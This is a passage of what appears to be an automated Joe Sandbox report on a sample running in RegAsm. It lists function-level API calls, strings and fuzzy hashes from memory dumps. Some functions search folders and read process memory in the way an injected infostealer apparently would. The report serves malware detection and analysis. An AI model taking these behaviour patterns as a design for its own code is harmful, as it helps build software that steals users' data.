Instruction Fuzzy Hash: D241A4B2D001199FDB04DF68DC909AEB7F9BB54324F260669EC25E7790E731E9048BE1

Function 6C2DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C355104), ref: 6C2DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C2DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C2DEFEC
free.MOZGLUE(?), ref: 6C2DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C2DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C2DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C2DF065
moz_xmalloc.MOZGLUE ref: 6C2DF072

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: f8d4dff5242415edce965b2a34294ae1e245c97edb55eaf1e624e52ffb8e153a
Instruction ID: 1452cd52af72c6ee728eb8511bf4534d9e8b2ab0f2aa4d44ef8545e4bdd98dfc
Opcode Fuzzy Hash: f8d4dff5242415edce965b2a34294ae1e245c97edb55eaf1e624e52ffb8e153a
Instruction Fuzzy Hash: 4D41E9F1A001199FCB08CF68D8809AF77A9BF94318B254628EC25DB794EB31E915C7E5

Function 00414260 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00EF2030), ref: 004142BB

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004142E1
lstrcat.KERNEL32(?,?), ref: 00414300
lstrcat.KERNEL32(?,?), ref: 00414314
lstrcat.KERNEL32(?,00EE42C8), ref: 00414327
lstrcat.KERNEL32(?,?), ref: 0041433B
lstrcat.KERNEL32(?,00EF13A0), ref: 0041434F

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00414050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
Part of subcall function 00414050: HeapAlloc.KERNEL32(00000000), ref: 00414067
Part of subcall function 00414050: wsprintfA.USER32 ref: 00414086
Part of subcall function 00414050: FindFirstFileA.KERNEL32(?,?), ref: 0041409D

Strings

0 , xrefs: 004142AD

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0
API String ID: 167551676-3003255422
Opcode ID: d4225e77e553b79aeccaf8fe61799e209a6001ae4b03243f3eca2914438b53e4
Instruction ID: 4fb66fc9f0e99d4a69d4435a00fe4e0f35192ff1271240cc59f29c1c24f4a50f
Opcode Fuzzy Hash: d4225e77e553b79aeccaf8fe61799e209a6001ae4b03243f3eca2914438b53e4
Instruction Fuzzy Hash: 663188B290021CA7CB24FBA0DC85EDD773DAB58708F40459EB60596091EE7897C9CFA8

Function 6C34B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C34B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C34B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C34B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C34B5F4
__Init_thread_footer.LIBCMT ref: 6C34B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C34B61F
std::_Facet_Register.LIBCPMT ref: 6C34B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C34B655

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: c58a6b57ca06a1967f4306085c226f04e6cb19c23a4f0fe6124981f2ec7b03fa
Instruction ID: 726d2b2c82f82aacbe12d43c90eac68c9f486774286246c9a7f1fdf78ac9ed73
Opcode Fuzzy Hash: c58a6b57ca06a1967f4306085c226f04e6cb19c23a4f0fe6124981f2ec7b03fa
Instruction Fuzzy Hash: 35319372B00604CBCF00EF69D8589AEB7F9FF8A328B544559D9469B780DB35A806CFD1

Function 6C316590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C30FA80: GetCurrentThreadId.KERNEL32 ref: 6C30FA8D
Part of subcall function 6C30FA80: AcquireSRWLockExclusive.KERNEL32(6C35F448), ref: 6C30FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C316727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C3167C8

Part of subcall function 6C324290: memcpy.VCRUNTIME140(?,?,6C332003,6C330AD9,?,6C330AD9,00000000,?,6C330AD9,?,00000004,?,6C331A62,?,6C332003,?), ref: 6C3242C4

Strings

v5l, xrefs: 6C31696C
data, xrefs: 6C316593

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$v5l
API String ID: 511789754-3031451382
Opcode ID: d40f0dcf18a939ba8d1984b9e16c4dce71faad420e69314f1e28f30dada6418c
Instruction ID: 9c3231ea9bf0b0f28c3cbf2ad4c118d3db8f6fac00b9376d15de65bb2461bacb
Opcode Fuzzy Hash: d40f0dcf18a939ba8d1984b9e16c4dce71faad420e69314f1e28f30dada6418c
Instruction Fuzzy Hash: 6CD1AB75A083408FD728DF65C841B9ABBF5EFC5308F10892DE58997B91EB31A849CF52

Function 6C30D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C2DEB57,?,?,?,?,?,?,?,?,?), ref: 6C30D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C2DEB57,?), ref: 6C30D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C2DEB57,?), ref: 6C30D673
free.MOZGLUE(?), ref: 6C30D888

Strings

|Enabled, xrefs: 6C30D81E
W-l, xrefs: 6C30D5D9, 6C30D63F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W-l$|Enabled
API String ID: 4142949111-1363826125
Opcode ID: b76b08313dbb73152169cf8d046ab89b6064e41804dbdf69186a73b79f32ebdd
Instruction ID: 91aa50e2eb6796244c7ab8337a683607a46deebbb1c2bf61ccc422d6e6855951
Opcode Fuzzy Hash: b76b08313dbb73152169cf8d046ab89b6064e41804dbdf69186a73b79f32ebdd
Instruction Fuzzy Hash: A9A1F3B1B003498FDB11CF69C4907AEBBF5AF49318F58805CD899AB741D735A845CFA1

Function 6C2E9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C337ABE), ref: 6C2E985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C337ABE), ref: 6C2E98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C2E9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C2E9918
free.MOZGLUE(?), ref: 6C2E9975

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 92c9e0d744f53b325c73b056ee1d5f0a73294a7df6ea366616a9a6e898337b19
Instruction ID: 91e2fe5b818bf0cd88d0f0a6ebeb9f547f773c5b4087a3d531005a246ad94eff
Opcode Fuzzy Hash: 92c9e0d744f53b325c73b056ee1d5f0a73294a7df6ea366616a9a6e898337b19
Instruction Fuzzy Hash: F57189B46007098FC725DF28C480996B7F5FF4A3247A44A6AEC5ADBBA0D771B851CB50

Function 004169A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004169BF
??_U@YAPAXI@Z.MSVCRT ref: 004169ED

Part of subcall function 00416670: strlen.MSVCRT ref: 00416681
Part of subcall function 00416670: strlen.MSVCRT ref: 004166A5

VirtualQueryEx.KERNEL32(00416DAD,00000000,?,0000001C), ref: 00416A32
??_V@YAXPAX@Z.MSVCRT ref: 00416B53

Part of subcall function 00416880: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416898

Strings

:lA, xrefs: 00416A18, 00416A1B
@, xrefs: 00416A46

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: :lA$@
API String ID: 2950663791-2855229504
Opcode ID: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction ID: 51c9d4b078fe92f83ab81220ebbaf7cdf2a8f9ee762561721c09ea6573e6fdbd
Opcode Fuzzy Hash: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction Fuzzy Hash: 845108B5E04119ABDB04CF94D981AEFB7B5FF88304F108519F915A7240D738EA51CBA9

Function 6C2EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C32CC83,?,?,?,?,?,?,?,?,?,6C32BCAE,?,?,6C31DC2C), ref: 6C2EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C32CC83,?,?,?,?,?,?,?,?,?,6C32BCAE,?,?,6C31DC2C), ref: 6C2EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C32CC83,?,?,?,?,?,?,?,?,?,6C32BCAE), ref: 6C2EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C32CC83,?,?,?,?,?,?,?,?,?,6C32BCAE,?,?,6C31DC2C), ref: 6C2EB896

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 5a226f5a7e14adb8fc93503c50e3d6ffc9d891258317e7bcf046c8bd694f6e38
Instruction ID: 9ff36bfeda086d93ff3f9caa6cba0b3bdfe5b389685353dd29e69b770035fd49
Opcode Fuzzy Hash: 5a226f5a7e14adb8fc93503c50e3d6ffc9d891258317e7bcf046c8bd694f6e38
Instruction Fuzzy Hash: F15187357002098FCB24CF19C584A6ABBF5FF8D319BA9855DE98AAB751C730E801CB84

Function 6C321D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C321D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C321BE3,?,?,6C321D96,00000000), ref: 6C321D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C321BE3,?,?,6C321D96,00000000), ref: 6C321D4C
GetCurrentThreadId.KERNEL32 ref: 6C321DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C321DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C321DDA

Part of subcall function 6C321EF0: GetCurrentThreadId.KERNEL32 ref: 6C321F03
Part of subcall function 6C321EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C321DF2,00000000,00000000), ref: 6C321F0C
Part of subcall function 6C321EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C321F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C321DF4

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 9060890292e401ffc7deb29911c46f91e4429b27f28dd208b21a1c8b36924357
Instruction ID: fe682099bcc4b399fbe9187826518605dc7121f13b61e3eab0477ab0b1113127
Opcode Fuzzy Hash: 9060890292e401ffc7deb29911c46f91e4429b27f28dd208b21a1c8b36924357
Instruction Fuzzy Hash: 544188B52007009FCB10CF29C588A66BBF9FF89318F50442EE99A87B41CB76F854CB91

Function 6C31D210 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C2E5820,?), ref: 6C31D21F
moz_xmalloc.MOZGLUE(00000001,?,?,6C2E5820,?), ref: 6C31D22E

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6C2E5820,?), ref: 6C31D242
free.MOZGLUE(00000000,?,?,?,?,?,?,6C2E5820,?), ref: 6C31D253

Part of subcall function 6C2F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C2F5EDB
Part of subcall function 6C2F5E90: memset.VCRUNTIME140(ew3l,000000E5,?), ref: 6C2F5F27
Part of subcall function 6C2F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C2F5FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6C2E5820,?), ref: 6C31D280

Strings

X.l, xrefs: 6C31D23C, 6C31D29E, 6C31D2E3

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID: X.l
API String ID: 2029485308-2899979125
Opcode ID: 6a8226bd5f7bfb92cb7e14157e407c6e133d5db6aa929087980c77920c98e37a
Instruction ID: 83cd60f8fb4bc4c3fc60aebd5dabaaeebe2e296bf65e0a7e669fef50da99709b
Opcode Fuzzy Hash: 6a8226bd5f7bfb92cb7e14157e407c6e133d5db6aa929087980c77920c98e37a
Instruction Fuzzy Hash: D431D875A042159FCB05CF58C480AAEBBB5BF8A308F244165D9646BB01D373E807CFE1

Function 6C2E38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C35E220,?,?,?,?,6C2E3899,?), ref: 6C2E38B2
ReleaseSRWLockExclusive.KERNEL32(6C35E220,?,?,?,6C2E3899,?), ref: 6C2E38C3
free.MOZGLUE(00000000,?,?,?,6C2E3899,?), ref: 6C2E38F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C2E3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C2E3899,?), ref: 6C2E392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C2E3899,?), ref: 6C2E3943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6C2E396E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 10079f7acbb1c650b4f3836e8c0854484cfc37131b6465ddaeaa129db1b71a3a
Instruction ID: 32ca6cdf94c58145b751089b8c1b5f34dada91f0ad2d78bfb8204a46d3c0f0b5
Opcode Fuzzy Hash: 10079f7acbb1c650b4f3836e8c0854484cfc37131b6465ddaeaa129db1b71a3a
Instruction Fuzzy Hash: FE21F172600618DFD720DF16C880B96B7E9FF4932AF558429ED5AA7B20C731E845CF91

Function 6C3184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C31850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C31851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C31855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C31856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3185AC

Part of subcall function 6C317670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C31767F
Part of subcall function 6C317670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C317693
Part of subcall function 6C317670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C3185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3185B2

Part of subcall function 6C2F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C2F5EDB
Part of subcall function 6C2F5E90: memset.VCRUNTIME140(ew3l,000000E5,?), ref: 6C2F5F27
Part of subcall function 6C2F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C2F5FB2

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 58327a263e6998a257e661871804185c0fbb4cbe096dc61c93d2f7aae0eb4b50
Instruction ID: 55ed4d2d44e2deff59132e1e10cb132cce8cb61e649fad713998d2c7cfbac39d
Opcode Fuzzy Hash: 58327a263e6998a257e661871804185c0fbb4cbe096dc61c93d2f7aae0eb4b50
Instruction Fuzzy Hash: C92171742046019FDB18DF25D888AAAB7B9EF4530CF15482DE99B83B41DB31F948CB56

Function 6C2E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C2E1699
VerSetConditionMask.NTDLL ref: 6C2E16CB
VerSetConditionMask.NTDLL ref: 6C2E16D7
VerSetConditionMask.NTDLL ref: 6C2E16DE
VerSetConditionMask.NTDLL ref: 6C2E16E5
VerSetConditionMask.NTDLL ref: 6C2E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C2E16F9

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: cadd6d2125f0de45b9cf0a20e445e7a10ff948ecab0acfb45406e87625bcdfdc
Instruction ID: 87063c22358d54c9347797a0d46f150818f2aaeb39bf4535e5b33f3ade80b59f
Opcode Fuzzy Hash: cadd6d2125f0de45b9cf0a20e445e7a10ff948ecab0acfb45406e87625bcdfdc
Instruction Fuzzy Hash: 1421A2B07402086FEB116B649C85FBBB3BCEF8A714F844528F645AB281C678DD548BA1

Function 6C32D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C32D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32D1F5

Part of subcall function 6C32AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6C32AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32D211
GetCurrentThreadId.KERNEL32 ref: 6C32D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C32D226
